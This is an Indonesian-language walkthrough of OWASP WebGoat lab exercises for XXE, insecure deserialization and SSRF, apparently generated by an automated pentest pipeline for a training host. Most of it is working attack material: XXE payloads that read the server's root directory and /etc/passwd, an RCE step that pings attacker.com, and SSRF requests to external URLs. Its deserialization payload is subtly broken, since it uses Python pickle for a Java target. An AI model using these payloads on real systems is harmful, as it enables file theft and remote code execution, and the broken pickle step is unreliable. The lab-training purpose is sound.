WebGoat - XXE, Insecure Deserialization & SSRF
Target:
webgoat.vuln.cybersecurity.or.id:9090/WebGoat| Level: Menengah-Lanjut | Tools:curl, Python, Burp Suite
Challenge
WebGoat adalah aplikasi Java yang sengaja dibuat rentan oleh OWASP. Kita akan mengeksploitasi 3 kerentanan:
- XXE (XML External Entity) - baca file server via XML
- Insecure Deserialization - eksekusi kode via serialized object
- SSRF (Server-Side Request Forgery) - akses resource internal
Login: Buat akun baru di
/WebGoat/register atau login dengan
guest/guest.
1. XXE - XML External Entity
Teori
XXE memanfaatkan parser XML yang tidak aman. Kita bisa mendefinisikan entity eksternal yang membaca file dari server.
Langkah 1: Identifikasi Endpoint
Endpoint: POST /WebGoat/xxe/simple
Content-Type: application/xml
Langkah 2: Payload XXE
Kirim payload untuk membaca root direktori server:
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY root SYSTEM "file:///">
]>
<comment><text>&root;</text></comment>'
Hasil: Daftar direktori root server akan muncul di response.
Langkah 3: Baca File Sensitif
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<comment><text>&passwd;</text></comment>'
Content-Type Bypass
Terkadang server hanya menerima JSON. Ubah Content-Type
tetap application/xml:
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/content-type \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY root SYSTEM "file:///">
]>
<comment><text>&root;</text></comment>'
2. Insecure Deserialization (DES)
Teori
Java serialization memungkinkan eksekusi kode saat objek
di-deserialize. readObject() menjalankan
Runtime.getRuntime().exec().
Langkah 1: Bangun Payload
import base64, struct, pickle
class VulnerableTaskHolder:
__module__ = 'org.dummy.insecure.framework'
__qualname__ = 'VulnerableTaskHolder'
obj = VulnerableTaskHolder()
obj.taskAction = 'sleep 5'
obj.taskName = 'test'
obj.requestedExecutionTime = None
data = pickle.dumps(obj)
print(base64.b64encode(data).decode())
Langkah 2: Kirim Payload
TOKEN="<session_cookie_dari_WebGoat>"
PAYLOAD="<base64_dari_python>"
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/InsecureDeserialization/task \\
-H "Cookie: JSESSIONID=$TOKEN" \\
-d "token=$PAYLOAD"
Hasil: Jika berhasil, server akan delay 5 detik.
RCE
Ubah taskAction menjadi perintah berbahaya:
obj.taskAction = 'ping -c 1 attacker.com'
3. SSRF - Server-Side Request Forgery
Teori
SSRF memaksa server melakukan request ke resource internal.
Task 1: Tampilkan Jerry
Endpoint: POST /WebGoat/SSRF/task1
Parameter: url
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/SSRF/task1 \\
-d "url=images/jerry.png"
Task 2: Fetch External
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/SSRF/task2 \\
-d "url=http://ifconfig.pro"
Kesimpulan
| Vulnerability | Dampak |
|---|---|
| XXE | Baca file server, SSRF, DoS |
| Insecure Deserialization | RCE pada Java aplikasi |
| SSRF | Akses internal network, port scan |
Walkthrough ini disusun untuk tujuan edukasi keamanan siber. Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy